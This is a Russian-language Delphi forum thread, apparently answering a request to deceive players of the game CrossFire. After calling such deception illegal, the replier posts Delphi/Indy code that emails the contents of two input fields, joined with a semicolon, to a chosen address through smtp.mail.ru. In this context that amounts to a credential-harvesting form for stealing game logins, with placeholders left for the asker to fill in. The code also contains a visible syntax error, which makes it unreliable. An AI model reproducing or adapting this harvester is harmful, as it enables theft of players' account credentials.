Ну для начала это не законно и уголовно наказуемо.... Не хорошо играков обманывать, я сам в кросс файр геймю
Подумаем над твоей темойДобавлено (23.07.2011, 23:01)
---------------------------------------------
Кидаем на форму компонент IdSMTP со вкладки Indy Client
Кидаем на форму компонент IdMessage со вкладки Indy Misc
Кидаем на форму компонент Button со вкладки Standard
Кликаем по компоненту Button 2 раза тем самым создав на нем обработчик событий onClick
procedure TForm1.Button1Click(Sender: TObject);
var
MailSend:TidMessage;
MailSend := TIdMessage.Create(Form1);
begin
MailSend.Body.Add(edit1.Text + ';' + edit2.Text); //текст сообщения равен текст первого эдита потом точка с запятой и текст второго эдита
MailSend.From.Text := '<mail@mail.ru>'; //мыло отправителя
MailSend.Recipients.Add;
MailSend.Recipients.Items[0].Text := '<mail2@mail.ru>'; //мыло получателя
MailSend.Subject := 'Themes'; //Тема письма (писать по английски)
IdSMTP1.AuthenticationType := atLogin; //показываем что авторизовываемся
IdSMTP1.Host := 'smtp.mail.ru'; // указываем хост например (smtp.yandex.ru)
IdSMTP1.Username := 'login'; // логин
IdSMTP1.Password := 'password'; // пароль
IdSMTP1.Connect(); // подключаемся
if IdSMTP1.Connected then // если подключились то идем дальше
begin
IdSMTP1.Send(MailSend); // отправляем сообщение
end;
IdSMTP1.Disconnect; // после отправки отключаемся
end;
Если бы на форуме посмотрел нашел бы эту тему, автор Toha.
Там все данные(мыла пассы и тп) сам вставишь)
Добавлено (23.07.2011, 23:04)
---------------------------------------------
Да и еще подобные вопросы задают не в эту тему, а вот сюда Вопросы по Delphi